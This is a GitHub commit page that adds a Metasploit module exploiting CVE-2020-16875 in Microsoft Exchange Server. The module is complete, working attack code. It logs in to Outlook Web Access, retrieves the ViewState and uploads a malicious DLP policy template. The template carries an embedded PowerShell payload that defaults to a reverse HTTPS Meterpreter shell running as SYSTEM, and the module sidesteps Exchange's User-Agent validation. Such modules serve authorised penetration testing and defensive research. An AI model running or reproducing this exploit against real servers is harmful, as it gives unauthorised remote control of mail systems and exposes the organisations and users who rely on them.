-
Notifications
You must be signed in to change notification settings - Fork 14k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add Microsoft Exchange Server DLP Policy RCE
- Loading branch information
Showing
1 changed file
with
244 additions
and
0 deletions.
There are no files selected for viewing
244 changes: 244 additions & 0 deletions
244
modules/exploits/windows/http/exchange_ecp_dlp_policy.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,244 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Powershell | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE', | ||
'Description' => %q{ | ||
This vulnerability allows remote attackers to execute arbitrary code | ||
on affected installations of Exchange Server. Authentication is | ||
required to exploit this vulnerability. Additionally, the target user | ||
must have the "Data Loss Prevention" role assigned and an active | ||
mailbox. | ||
The specific flaw exists within the processing of the New-DlpPolicy | ||
cmdlet. The issue results from the lack of proper validation of | ||
user-supplied template data when creating a DLP policy. An attacker | ||
can leverage this vulnerability to execute code in the context of | ||
SYSTEM. | ||
Tested against Exchange Server 2016 CU14 on Windows Server 2016. | ||
}, | ||
'Author' => [ | ||
'mr_me', # Discovery, exploits, and most of the words above | ||
'wvu' # Module | ||
], | ||
'References' => [ | ||
['CVE', '2020-16875'], | ||
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875'], | ||
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'], | ||
['URL', 'https://srcincite.io/advisories/src-2020-0019/'], | ||
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txt'], | ||
['URL', 'https://srcincite.io/pocs/cve-2020-16875.ps1.txt'] | ||
], | ||
'DisclosureDate' => '2020-09-08', # Public disclosure | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'win', | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
['Exchange Server 2016 and 2019 w/o KB4577352', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'SSL' => true, | ||
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https', | ||
'HttpClientTimeout' => 5, | ||
'WfsDelay' => 10 | ||
}, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ | ||
IOC_IN_LOGS, | ||
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session | ||
CONFIG_CHANGES, # Creates a new DLP policy | ||
ARTIFACTS_ON_DISK # Uses a DLP policy template file | ||
] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
Opt::RPORT(443), | ||
OptString.new('TARGETURI', [true, 'Base path', '/']), | ||
OptString.new('USERNAME', [false, 'OWA username']), | ||
OptString.new('PASSWORD', [false, 'OWA password']) | ||
]) | ||
end | ||
|
||
def post_auth? | ||
true | ||
end | ||
|
||
def username | ||
datastore['USERNAME'] | ||
end | ||
|
||
def password | ||
datastore['PASSWORD'] | ||
end | ||
|
||
def check | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx') | ||
) | ||
|
||
unless res | ||
return CheckCode::Unknown('Target did not respond to check.') | ||
end | ||
|
||
unless res.code == 200 && res.body.include?('<title>Outlook</title>') | ||
return CheckCode::Unknown('Target does not appear to be running OWA.') | ||
end | ||
|
||
CheckCode::Detected("OWA is running at #{full_uri('/owa/')}") | ||
end | ||
|
||
def exploit | ||
owa_login | ||
create_dlp_policy(retrieve_viewstate) | ||
end | ||
|
||
def owa_login | ||
unless username && password | ||
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation') | ||
end | ||
|
||
print_status("Logging in to OWA with creds #{username}:#{password}") | ||
|
||
res = send_request_cgi!({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, '/owa/auth.owa'), | ||
'vars_post' => { | ||
'username' => username, | ||
'password' => password, | ||
'flags' => '', | ||
'destination' => full_uri('/owa/', vhost_uri: true) | ||
}, | ||
'keep_cookies' => true | ||
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to access OWA login page') | ||
end | ||
|
||
unless res.code == 200 && cookie_jar.grep(/^cadata/).any? | ||
if res.body.include?('There are too many active sessions connected to this mailbox.') | ||
fail_with(Failure::NoAccess, 'Reached active session limit for mailbox') | ||
end | ||
|
||
fail_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds') | ||
end | ||
|
||
if res.body.include?('Choose your preferred display language and home time zone below.') | ||
fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured') | ||
end | ||
|
||
print_good('Successfully logged in to OWA') | ||
end | ||
|
||
def retrieve_viewstate | ||
print_status('Retrieving ViewState from DLP policy creation page') | ||
|
||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), | ||
'agent' => '', # HACK: Bypass Exchange's User-Agent validation | ||
'keep_cookies' => true | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to access DLP policy creation page') | ||
end | ||
|
||
unless res.code == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text) | ||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve ViewState') | ||
end | ||
|
||
print_good('Successfully retrieved ViewState') | ||
viewstate | ||
end | ||
|
||
def create_dlp_policy(viewstate) | ||
print_status('Creating custom DLP policy from malicious template') | ||
|
||
form_data = Rex::MIME::Message.new | ||
form_data.add_part(viewstate, nil, nil, 'form-data; name="__VIEWSTATE"') | ||
form_data.add_part( | ||
'ResultPanePlaceHolder_ButtonsPanel_btnNext', | ||
nil, | ||
nil, | ||
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"' | ||
) | ||
form_data.add_part( | ||
dlp_policy_name, | ||
nil, | ||
nil, | ||
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"' | ||
) | ||
form_data.add_part( | ||
dlp_policy_template, | ||
'text/xml', | ||
nil, | ||
%(form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#{dlp_policy_filename}") | ||
) | ||
|
||
send_request_cgi({ | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFromISV.aspx'), | ||
'agent' => '', # HACK: Bypass Exchange's User-Agent validation | ||
'ctype' => "multipart/form-data; boundary=#{form_data.bound}", | ||
'data' => form_data.to_s | ||
}, 0) | ||
end | ||
|
||
def dlp_policy_template | ||
# https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help | ||
<<~XML | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<dlpPolicyTemplates> | ||
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0"> | ||
<contentVersion>4</contentVersion> | ||
<publisherName>Metasploit</publisherName> | ||
<name> | ||
<localizedString lang="en">#{dlp_policy_name}</localizedString> | ||
</name> | ||
<description> | ||
<localizedString lang="en">wvu was here</localizedString> | ||
</description> | ||
<keywords></keywords> | ||
<ruleParameters></ruleParameters> | ||
<policyCommands> | ||
<commandBlock> | ||
<![CDATA[#{cmd_psh_payload(payload.encoded, payload.arch.first, exec_in_place: true)}]]> | ||
</commandBlock> | ||
</policyCommands> | ||
<policyCommandsResources></policyCommandsResources> | ||
</dlpPolicyTemplate> | ||
</dlpPolicyTemplates> | ||
XML | ||
end | ||
|
||
def dlp_policy_name | ||
@dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data" | ||
end | ||
|
||
def dlp_policy_filename | ||
@dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml" | ||
end | ||
|
||
end |